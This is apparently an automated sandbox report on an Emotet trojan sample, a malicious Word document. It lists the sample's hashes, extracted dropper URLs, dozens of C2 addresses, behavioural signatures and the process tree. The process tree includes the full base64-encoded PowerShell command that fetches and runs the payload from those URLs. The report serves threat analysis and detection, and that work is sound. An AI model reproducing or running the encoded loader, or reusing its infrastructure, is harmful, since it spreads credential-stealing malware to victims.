emotet | 05fdfb096bfe54f0bd2abd84e8143b8378f289838c61d7d1ec4efa141b2045f4

General

Target
62492119417.doc
Size 230KB
Sample200810-le2z3vx212
SHA256 05fdfb096bfe54f0bd2abd84e8143b8378f289838c61d7d1ec4efa141b2045f4
MD5 df4d259a3ef334481e15603f22733be1
SHA1 36f928bbac209d6cbe503b10af623921565cef74
SHA512 23eba0252d268486d490373e8797285439d0af65d03003b610593002661c56f764bb624bfd5be91c8c00f2b8b1cb9340e61da938e9c93c6537778a170cc66c77
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://iraniansk.com/wp-content/rm1q_q6x4_l5/
exe.dropper
http://kachetemarketing.com/cgi-bin/9yxsy_nq02_x2tv/
exe.dropper
http://kinotheque.com/wp-includes/aidu_9c8_rrlp/
exe.dropper
https://onyourleftracing.com/cgi-bin/fotes_4l_enxguwo/
exe.dropper
http://slimgenemd.com/hqzfg/z_ya_xkjx5/

Extracted

Family

emotet

C2

74.120.55.163:80
176.10.250.88:8080
96.8.113.4:8080
137.59.187.107:8080
74.208.45.104:8080
104.131.11.150:443
110.145.77.103:80
87.106.136.232:8080
114.146.222.200:80
37.187.72.193:8080
181.230.116.163:80
70.167.215.250:8080
103.86.49.11:8080
201.173.217.124:443
109.74.5.95:8080
95.213.236.64:8080
5.39.91.110:7080
78.24.219.147:8080
81.2.235.111:8080
183.101.175.193:80
85.152.162.105:80
139.59.60.244:8080
47.146.117.214:80
104.131.44.150:8080
72.12.127.184:443
200.41.121.90:80
41.60.200.34:80
61.19.246.238:443
139.130.242.43:80
113.160.130.116:8443
76.27.179.47:80
190.55.181.54:443
176.111.60.55:8080
46.105.131.79:8080
93.51.50.171:8080
121.124.124.40:7080
62.75.141.82:80
24.43.99.75:80
204.197.146.48:80
157.245.99.39:8080
104.236.246.93:8080
47.144.21.12:443
203.153.216.189:7080
142.105.151.124:443
153.126.210.205:7080
185.94.252.104:443
209.141.54.221:8080
162.241.92.219:8080
222.214.218.37:4143
119.198.40.179:80
24.179.13.119:80
157.147.76.151:80
50.116.86.205:8080
83.110.223.58:443
152.168.248.128:443
79.98.24.39:8080
165.165.171.160:8080
47.153.182.47:80
168.235.67.138:7080
5.196.74.210:8080
180.92.239.110:8080
189.212.199.126:443
47.146.32.175:80
91.211.88.52:7080
62.138.26.28:8080
209.182.216.177:443
169.239.182.217:8080
190.160.53.126:80
95.179.229.244:8080
181.211.11.242:80
37.139.21.175:8080
87.106.139.101:8080
116.203.32.252:8080
200.55.243.138:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3352	3932	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2408-11-0x0000000002250000-0x000000000225C000-memory.dmp	emotet
behavioral2/memory/2408-11-0x0000000002250000-0x000000000225C000-memory.dmp	emotet
behavioral2/memory/552-15-0x0000000000760000-0x000000000076C000-memory.dmp	emotet
behavioral2/memory/552-15-0x0000000000760000-0x000000000076C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
8	3352	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2408	712.exe
552	isoburn.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDVNTC\isoburn.exe	712.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
720	WINWORD.EXE
720	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3352	powersheLL.exe
3352	powersheLL.exe
3352	powersheLL.exe
552	isoburn.exe
552	isoburn.exe
552	isoburn.exe
552	isoburn.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3352	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
720	WINWORD.EXE
2408	712.exe
2408	712.exe
552	isoburn.exe
552	isoburn.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2408 wrote to memory of 552	2408	712.exe	75
PID 2408 wrote to memory of 552	2408	712.exe	75
PID 2408 wrote to memory of 552	2408	712.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\62492119417.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:720

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABWAEgAVQBLAFEAZgBmAHcAPQAnAEEASABEAEoAQgByAGcAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAFUAUgBJAGAAVABZAFAAYABSAG8AdABvAGAAYwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABXAFEAUQBNAEQAcwBnAGEAIAA9ACAAJwA3ADEAMgAnADsAJABRAEwAUABFAEUAagBhAHAAPQAnAFAAQwBWAEwAVwBjAG0AaQAnADsAJABSAFMARgBPAEsAbQB2AHoAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFcAUQBRAE0ARABzAGcAYQArACcALgBlAHgAZQAnADsAJABIAEIAQQBJAE4AZwB2AHIAPQAnAE0ATwBZAEcAQgBhAG8AawAnADsAJABaAEEASgBLAEcAbQB0AGsAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AdwBFAGIAQwBMAGkARQBOAHQAOwAkAEUAVwBDAFoARAB6AHgAZgA9ACcAaAB0AHQAcAA6AC8ALwBpAHIAYQBuAGkAYQBuAHMAawAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHIAbQAxAHEAXwBxADYAeAA0AF8AbAA1AC8AKgBoAHQAdABwADoALwAvAGsAYQBjAGgAZQB0AGUAbQBhAHIAawBlAHQAaQBuAGcALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwA5AHkAeABzAHkAXwBuAHEAMAAyAF8AeAAyAHQAdgAvACoAaAB0AHQAcAA6AC8ALwBrAGkAbgBvAHQAaABlAHEAdQBlAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwBhAGkAZAB1AF8AOQBjADgAXwByAHIAbABwAC8AKgBoAHQAdABwAHMAOgAvAC8AbwBuAHkAbwB1AHIAbABlAGYAdAByAGEAYwBpAG4AZwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAGYAbwB0AGUAcwBfADQAbABfAGUAbgB4AGcAdQB3AG8ALwAqAGgAdAB0AHAAOgAvAC8AcwBsAGkAbQBnAGUAbgBlAG0AZAAuAGMAbwBtAC8AaABxAHoAZgBnAC8AegBfAHkAYQBfAHgAawBqAHgANQAvACcALgAiAFMAYABQAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQARwBEAFAAQgBQAHEAaQBnAD0AJwBFAFcASABHAE8AaQB0AHUAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMARgBPAFMAVwBhAGkAcAAgAGkAbgAgACQARQBXAEMAWgBEAHoAeABmACkAewB0AHIAeQB7ACQAWgBBAEoASwBHAG0AdABrAC4AIgBEAG8AdwBuAEwAbwBBAGQAYABGAGAASQBMAEUAIgAoACQAQwBGAE8AUwBXAGEAaQBwACwAIAAkAFIAUwBGAE8ASwBtAHYAegApADsAJABSAEkAWQBJAEkAbQB3AG8APQAnAFkASQBCAFYAWABsAHIAZwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAFIAUwBGAE8ASwBtAHYAegApAC4AIgBMAEUATgBgAGcAYABUAGgAIgAgAC0AZwBlACAAMgAzADkANwAxACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAZQBgAEEAYABUAEUAIgAoACQAUgBTAEYATwBLAG0AdgB6ACkAOwAkAEYATABLAFoARwBkAHIAdgA9ACcARwBaAFEATgBHAGoAdwBjACcAOwBiAHIAZQBhAGsAOwAkAFgAVQBDAEUAQgBwAGsAeQA9ACcASQBaAFYAUABJAGQAdwBwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcASQBSAEYAUgByAHIAaAA9ACcASQBWAFUATQBBAGoAZABqACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3352

C:\Users\Admin\712.exe
C:\Users\Admin\712.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2408
- C:\Windows\SysWOW64\KBDVNTC\isoburn.exe
  "C:\Windows\SysWOW64\KBDVNTC\isoburn.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:552

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/552-14-0x0000000000817000-0x000000000081C000-memory.dmp

Download

memory/552-15-0x0000000000760000-0x000000000076C000-memory.dmp

Download

memory/720-4-0x000001BACA8ED000-0x000001BACA8F2000-memory.dmp

Download

memory/720-3-0x000001BACA6AE000-0x000001BACA6BF000-memory.dmp

Download

memory/720-2-0x000001BACA6AE000-0x000001BACA6BF000-memory.dmp

Download

memory/720-0-0x00007FFFB8FB0000-0x00007FFFB9676000-memory.dmp

Download

memory/720-1-0x000001BACA6AE000-0x000001BACA6BF000-memory.dmp

Download

memory/2408-10-0x0000000000747000-0x000000000074C000-memory.dmp

Download

memory/2408-11-0x0000000002250000-0x000000000225C000-memory.dmp

Download

memory/3352-5-0x00007FFFB1670000-0x00007FFFB205C000-memory.dmp

Download

memory/3352-6-0x000002037AF60000-0x000002037AF61000-memory.dmp

Download

memory/3352-7-0x000002037B110000-0x000002037B111000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads